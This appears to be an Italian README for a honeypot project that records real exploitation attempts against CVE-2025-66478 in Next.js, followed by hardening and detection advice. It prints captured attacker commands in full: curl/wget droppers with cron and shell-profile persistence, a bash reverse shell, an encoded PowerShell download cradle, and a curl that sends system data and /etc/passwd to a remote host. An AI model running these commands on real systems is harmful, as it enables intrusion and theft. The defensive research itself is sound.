CVE-2025-66478 - Analisi dei Log di Attacchi Reali per la RCE delle Server Actions di Next.js

Panoramica

Questo progetto raccoglie log di attacchi reali registrati da un'applicazione Next.js 15.1.2 esposta su Internet (eseguita in un contenitore Docker). Questi log mostrano lo scanning e lo sfruttamento massiccio della vulnerabilità CVE-2025-66478 da parte di strumenti di attacco automatizzati.

Intervallo di registrazione: 2025-12-04 ~ 2025-12-06 (circa 48 ore)

Informazioni sull'ambiente:

• Framework: Next.js 15.1.2
• Ambiente di esecuzione: Bun v1.2.20
• Contenitore: Docker (Alpine Linux)
• Fuso orario: Asia/Taipei

Statistiche per tipo di attacco

1. Download ed esecuzione di malware (Dropper/Downloader)

Gli aggressori hanno tentato di eseguire comandi per scaricare ed eseguire malware sfruttando la vulnerabilità.

Esempio di comando di attacco

# Attacco dropper tipico
curl -fsSL http://38.207.161.212/agent -o /tmp/.a && chmod +x /tmp/.a && /tmp/.a

# Backdoor persistente tramite cron
curl -s -o /etc/cron.hourly/tsd http://43.156.63.124/tsd && chmod +x /etc/cron.hourly/tsd

# Attacco persistente complesso (tenta più metodi di download + cron + bashrc)
u='http://38.12.24.231/kworker'; n='kworker';
for d in $HOME/.config/sys_monitor /tmp/.sys_monitor /dev/shm/.sys_monitor /var/tmp/.sys_monitor; do
  mkdir -p $d;
  if [ -w $d ]; then
    p="$d/$n";
    (curl -ks $u -o $p || wget -q --no-check-certificate $u -O $p || python3 -c "import urllib.request;urllib.request.urlretrieve('$u','$p')");
    chmod +x $p;
    nohup $p >/dev/null 2>&1 &
    (crontab -l 2>/dev/null | grep -v $n; echo "* * * * * $p >/dev/null 2>&1") | crontab -;
    echo "$p >/dev/null 2>&1 &" >> ~/.bashrc;
    echo "$p >/dev/null 2>&1 &" >> ~/.zshrc;
  fi;
done

2. Reverse Shell

Gli aggressori hanno tentato di stabilire connessioni reverse shell per ottenere accesso interattivo.

# Reverse shell in Bash
bash -c "bash -i >& /dev/tcp/154.26.192.32/19899 0>&1"

3. Attacchi PowerShell (erroneamente indirizzati a Windows)

Gli aggressori presumevano che il target fosse un sistema Windows e hanno tentato di eseguire comandi PowerShell.

# PowerShell malevolo codificato in Base64
powershell -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAYwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADUANgAuADIAMwA0AC4AMgAwADkALgAxADAAMwA6ADYAMwA5ADMAOAAvAG4AcgBDAHIAUQAnACkA

# Decodificato:
# IEX (New-Object System.Net.Webclient).DownloadString('http://156.234.209.103:63938/nrCrQ')

# Calcoli matematici per la verifica della vulnerabilità
powershell -c "41*271"      # = 11111 (codice di conferma)
powershell -c "44225*41002" # = 1814113450

4. Raccolta di informazioni

Gli aggressori hanno tentato di raccogliere informazioni di sistema per attacchi successivi.

# Raccolta e invio di informazioni di sistema
curl http://38.60.212.106:8000/?data=`(hostname;ip addr show;id;ip route show;ip neigh show;route -n;cat /etc/passwd;hostname -I) | base64 -w 0`

5. Furto di credenziali

Gli aggressori hanno tentato di leggere vari file sensibili e credenziali.

Percorsi sensibili tentati

6. Esposizione di variabili d'ambiente

Variabili d'ambiente del contenitore esposte con successo tramite la vulnerabilità:

HOSTNAME=6973aeebae41
BUN_INSTALL_BIN=/usr/local/bin
HOME=/root
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/local/bun-node-fallback-bin
PWD=/app
TZ=Asia/Taipei
NODE_ENV=production
BUN_RUNTIME_TRANSPILER_CACHE_PATH=0

7. Esfiltrazione DNS

Gli aggressori hanno utilizzato query DNS per l'esfiltrazione di dati o la conferma della vulnerabilità:

ping 5a58e4a0.log.dnslog.pp.ua.

Motivi del fallimento degli attacchi

La maggior parte degli attacchi è fallita a causa della natura leggera del contenitore Alpine Linux:

Sebbene wget fosse disponibile, alcuni script malevoli dipendevano internamente da curl o bash, causando il fallimento dell'esecuzione.

Esempi di decodifica Base64

I log contengono molti dati codificati in Base64. Di seguito alcuni risultati di decodifica:

Esposizione di informazioni di sistema

# digest: 'cm9vdAo='
Decodificato: root

# digest: 'dGVzdAo='
Decodificato: test

# digest: 'dnVsbmVyYWJpbGl0eV90ZXN0Cg=='
Decodificato: vulnerability_test

# digest: 'dWlkPTAocm9vdCkgZ2lkPTAocm9vdCkgZ3JvdXBzPTAocm9vdCksMShiaW4pLDIoZGFlbW9uKSwzKHN5cyksNChhZG0pLDYoZGlzayksMTAod2hlZWwpLDExKGZsb3BweSksMjAoZGlhbG91dCksMjYodGFwZSksMjcodmlkZW8pCg=='
Decodificato: uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)

Esposizione di elenchi di directory

# Contenuto della directory /tmp
dG90YWwgMjAKZHJ3eHJ3eHJ3dCAgICAxIHJvb3QgICAgIHJvb3QgICAgICAgICAgNDA5NiBEZWMgIDUgMTg6MDAgLgpkcnd4ci14ci14ICAgIDEgcm9vdCAgICAgcm9vdCAgICAgICAgICA0MDk2IERlYyAgNCAxMzozNiAuLgotcnd4ci14ci14ICAgIDEgcm9vdCAgICAgcm9vdCAgICAgICAgICA5ODQ4IERlYyAgNSAxODowMCBJTlNUQUxMCg==

Decodificato:
total 20
drwxrwxrwt    1 root     root          4096 Dec  5 18:00 .
drwxr-xr-x    1 root     root          4096 Dec  4 13:36 ..
-rwxr-xr-x    1 root     root          9848 Dec  5 18:00 INSTALL

Statistiche sugli IP di origine degli attacchi

Di seguito gli indirizzi IP di origine degli attacchi registrati:

Tecniche di sfruttamento della vulnerabilità (Attack Vectors)

Chiamata a Server Action

Gli aggressori hanno tentato di chiamare Server Action inesistenti:

Failed to find Server Action "dev-only-action"
Failed to find Server Action "non_existent_action_id"
Failed to find Server Action "test"
Failed to find Server Action "x"

Esposizione di informazioni nelle risposte di errore

Gli aggressori hanno sfruttato il campo digest nei messaggi di errore per esfiltrare dati:

Error: x
  digest: 'cm9vdAo='  // 'root' codificato in Base64

Punti chiave didattici

1. Buone pratiche per la sicurezza dei container

• Immagini minimali: l'uso di immagini di base leggere (es. Alpine) riduce la superficie d'attacco
• Rimuovere strumenti non essenziali: non installare curl, bash, python e altri strumenti che potrebbero essere abusati
• File system in sola lettura: eseguire i container con --read-only
• Utente non root: eseguire l'applicazione con un utente non privilegiato

2. Mitigazione della vulnerabilità

• Aggiornare Next.js alla versione corretta
• Validare l'input delle Server Action
• Implementare regole WAF per filtrare richieste sospette

3. Monitoraggio e rilevamento

• Monitorare l'esecuzione anomala di processi figli
• Monitorare le connessioni di rete in uscita
• Monitorare i tentativi di accesso a file sensibili

Disclaimer

Questo progetto ha esclusivamente finalità educative e di ricerca sulla sicurezza informatica. Tutti gli attacchi registrati sono tentativi reali diretti a un honeypot di ricerca. Non utilizzare queste informazioni per scopi illegali.

Campioni di malware

Questo progetto include campioni di malware reali estratti e scaricati dai log di attacco. Per un'analisi dettagliata, consultare:

malware_samples/ANALYSIS.md

Campioni ottenuti

Riepilogo delle tecniche di attacco

1. nz.sh - Installa l'agente di monitoraggio Nezha per il controllo remoto dell'host vittima
2. tsd.sh + tsd - Stabilisce molteplici meccanismi di persistenza (cron + systemd + rc.local)
3. init.sh + agent - Framework backdoor completo, supporta multi-sistema, riavvio automatico e registrazione dei log

Risorse correlate

• Avvisi di sicurezza di Next.js
• OWASP - Command Injection
• MITRE ATT&CK - Execution

Licenza

Licenza MIT